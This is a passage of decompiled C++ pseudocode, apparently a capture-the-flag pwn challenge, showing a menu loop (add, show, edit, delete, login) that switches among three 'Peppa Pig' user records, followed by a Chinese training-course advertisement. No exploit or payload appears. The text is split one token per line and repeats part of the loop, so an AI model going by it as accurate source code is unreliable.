case
1:
add(info, id);
break
;
case
2:
show(info, id);
break
;
case
3:
edit(info, id);
break
;
case
4:
delete
(info, id);
break
;
case
5:
new_id = login();
if
( new_id && new_id != id )
{
switch
( id )
{
case
1:
set_info1(info);
break
;
case
2:
set_info2(info);
break
;
case
3:
set_info3(info);
break
;
}
id = new_id;
switch
( new_id )
{
case
1:
v4 = std::operator<<<std::char_traits<
char
>>(&std::cout,
"This is Peppa Pig~"
);
std::ostream::operator<<(v4, &std::endl<
char
,std::char_traits<
char
>>);
info = &info1;
get_info1(&info1);
break
;
case
2:
v5 = std::operator<<<std::char_traits<
char
>>(&std::cout,
"This is Mummy Pig~"
);
std::ostream::operator<<(v5, &std::endl<
char
,std::char_traits<
char
>>);
info = &info2;
get_info2(&info2);
break
;
case
3:
v6 = std::operator<<<std::char_traits<
char
>>(&std::cout,
"This is Daddy Pig~"
);
std::ostream::operator<<(v6, &std::endl<
char
,std::char_traits<
char
>>);
info = &info3;
get_info3(&info3);
break
;
}
}
break
;
default
:
puts
(
"Invalid..."
);
break
;
}
}
}
void
__fastcall __noreturn main(
__int64
a1,
char
**a2,
char
**a3)
{
__int64
v3;
// rax
__int64
v4;
// rax
__int64
v5;
// rax
__int64
v6;
// rax
int
id;
// [rsp+0h] [rbp-420h]
int
new_id;
// [rsp+4h] [rbp-41Ch]
Info *info;
// [rsp+8h] [rbp-418h]
Info info1;
// [rsp+10h] [rbp-410h] BYREF
Info info2;
// [rsp+160h] [rbp-2C0h] BYREF
Info info3;
// [rsp+2B0h] [rbp-170h] BYREF
unsigned
__int64
v13;
// [rsp+408h] [rbp-18h]
v13 = __readfsqword(0x28u);
init_state();
welcome();
init_info1(&info1);
init_info2(&info2);
init_info3(&info3);
id = 1;
v3 = std::operator<<<std::char_traits<
char
>>(&std::cout,
"Peppa Pig first~"
);
std::ostream::operator<<(v3, &std::endl<
char
,std::char_traits<
char
>>);
info = &info1;
get_info1(&info1);
while
( 1 )
{
menu();
switch
( get_num() )
{
case
1:
add(info, id);
break
;
case
2:
show(info, id);
break
;
case
3:
edit(info, id);
break
;
case
4:
delete
(info, id);
break
;
case
5:
new_id = login();
if
( new_id && new_id != id )
{
switch
( id )
{
case
1:
set_info1(info);
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课